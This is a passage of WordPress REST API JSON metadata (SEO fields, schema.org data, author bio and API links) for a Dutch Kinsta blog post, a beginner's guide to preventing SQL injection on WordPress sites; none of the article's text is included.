Daityari\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"nl-NL\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"caption\":\"Shaumik Daityari\"},\"description\":\"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!\",\"url\":\"https:\/\/staging.kinsta.site\/nl\/blog\/author\/shaumikdaityari\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress","description":"Leer wat SQL-injecties zijn, hoe kwetsbaarheden rond SQL-injecties zich manifesteren in webapplicaties (bv. WordPress-sites) en hoe je preventief handelt.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/","og_locale":"nl_NL","og_type":"article","og_title":"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress","og_description":"Leer wat SQL-injecties zijn, hoe kwetsbaarheden rond SQL-injecties zich manifesteren in webapplicaties (bv. WordPress-sites) en hoe je preventief handelt.","og_url":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/","og_site_name":"Kinsta","article_publisher":"https:\/\/www.facebook.com\/Kinsta-Nederland-476213452787823\/","article_published_time":"2020-01-23T15:29:01+00:00","article_modified_time":"2022-07-13T08:34:30+00:00","og_image":[{"width":1460,"height":730,"url":"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg","type":"image\/jpeg"}],"author":"Shaumik Daityari","twitter_card":"summary_large_image","twitter_description":"Leer wat SQL-injecties zijn, hoe kwetsbaarheden rond SQL-injecties zich manifesteren in webapplicaties (bv. WordPress-sites) en hoe je preventief handelt.","twitter_image":"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg","twitter_creator":"@Kinsta_NL","twitter_site":"@Kinsta_NL","twitter_misc":{"Geschreven door":"Shaumik Daityari","Geschatte leestijd":"11 minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#article","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/"},"author":{"name":"Shaumik Daityari","@id":"https:\/\/staging.kinsta.site\/nl\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504"},"headline":"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress","datePublished":"2020-01-23T15:29:01+00:00","dateModified":"2022-07-13T08:34:30+00:00","mainEntityOfPage":{"@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/"},"wordCount":2274,"commentCount":0,"publisher":{"@id":"https:\/\/staging.kinsta.site\/nl\/#organization"},"image":{"@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg","keywords":["sitesecurity","wordpresshack"],"articleSection":["WordPress beveiliging"],"inLanguage":"nl-NL","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/","url":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/","name":"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/nl\/#website"},"primaryImageOfPage":{"@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#primaryimage"},"image":{"@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg","datePublished":"2020-01-23T15:29:01+00:00","dateModified":"2022-07-13T08:34:30+00:00","description":"Leer wat SQL-injecties zijn, hoe kwetsbaarheden rond SQL-injecties zich manifesteren in webapplicaties (bv. WordPress-sites) en hoe je preventief handelt.","breadcrumb":{"@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#breadcrumb"},"inLanguage":"nl-NL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/"]}]},{"@type":"ImageObject","inLanguage":"nl-NL","@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#primaryimage","url":"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg","contentUrl":"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg","width":1460,"height":730,"caption":"SQL-injecties"},{"@type":"BreadcrumbList","@id":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.kinsta.site\/nl\/"},{"@type":"ListItem","position":2,"name":"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress"}]},{"@type":"WebSite","@id":"https:\/\/staging.kinsta.site\/nl\/#website","url":"https:\/\/staging.kinsta.site\/nl\/","name":"Kinsta","description":"Snelle, veilige, premium hostingoplossingen","publisher":{"@id":"https:\/\/staging.kinsta.site\/nl\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.kinsta.site\/nl\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"nl-NL"},{"@type":"Organization","@id":"https:\/\/staging.kinsta.site\/nl\/#organization","name":"Kinsta","url":"https:\/\/staging.kinsta.site\/nl\/","logo":{"@type":"ImageObject","inLanguage":"nl-NL","@id":"https:\/\/staging.kinsta.site\/nl\/#\/schema\/logo\/image\/","url":"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/12\/kinsta.png","contentUrl":"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/12\/kinsta.png","width":580,"height":580,"caption":"Kinsta"},"image":{"@id":"https:\/\/staging.kinsta.site\/nl\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Kinsta-Nederland-476213452787823\/","https:\/\/x.com\/Kinsta_NL"]},{"@type":"Person","@id":"https:\/\/staging.kinsta.site\/nl\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504","name":"Shaumik Daityari","image":{"@type":"ImageObject","inLanguage":"nl-NL","@id":"https:\/\/staging.kinsta.site\/nl\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","caption":"Shaumik Daityari"},"description":"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!","url":"https:\/\/staging.kinsta.site\/nl\/blog\/author\/shaumikdaityari\/"}]}},"acf":[],"_links":{"self":[{"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/posts\/29380","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/comments?post=29380"}],"version-history":[{"count":4,"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/posts\/29380\/revisions"}],"predecessor-version":[{"id":44460,"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/posts\/29380\/revisions\/44460"}],"alternate":[{"embeddable":true,"hreflang":"en","title":"English","href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/translations\/en"},{"embeddable":true,"hreflang":"fr","title":"French","href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/translations\/fr"},{"embeddable":true,"hreflang":"es","title":"Spanish","href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/translations\/es"},{"embeddable":true,"hreflang":"pt","title":"Portuguese","href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/translations\/pt"},{"embeddable":true,"hreflang":"it","title":"Italian","href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/translations\/it"},{"embeddable":true,"hreflang":"da","title":"Danish","href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/translations\/dk"},{"embeddable":true,"hreflang":"nl","title":"Dutch","href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/translations\/nl"},{"embeddable":true,"hreflang":"de","title":"German","href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/translations\/de"},{"embeddable":true,"hreflang":"sv","title":"Swedish","href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/translations\/se"},{"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/kinsta\/v1\/posts\/29380\/tree"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/media\/29383"}],"wp:attachment":[{"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/media?parent=29380"}],"wp:term":[{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/tags?post=29380"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/staging.kinsta.site\/nl\/wp-json\/wp\/v2\/topic?post=29380"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}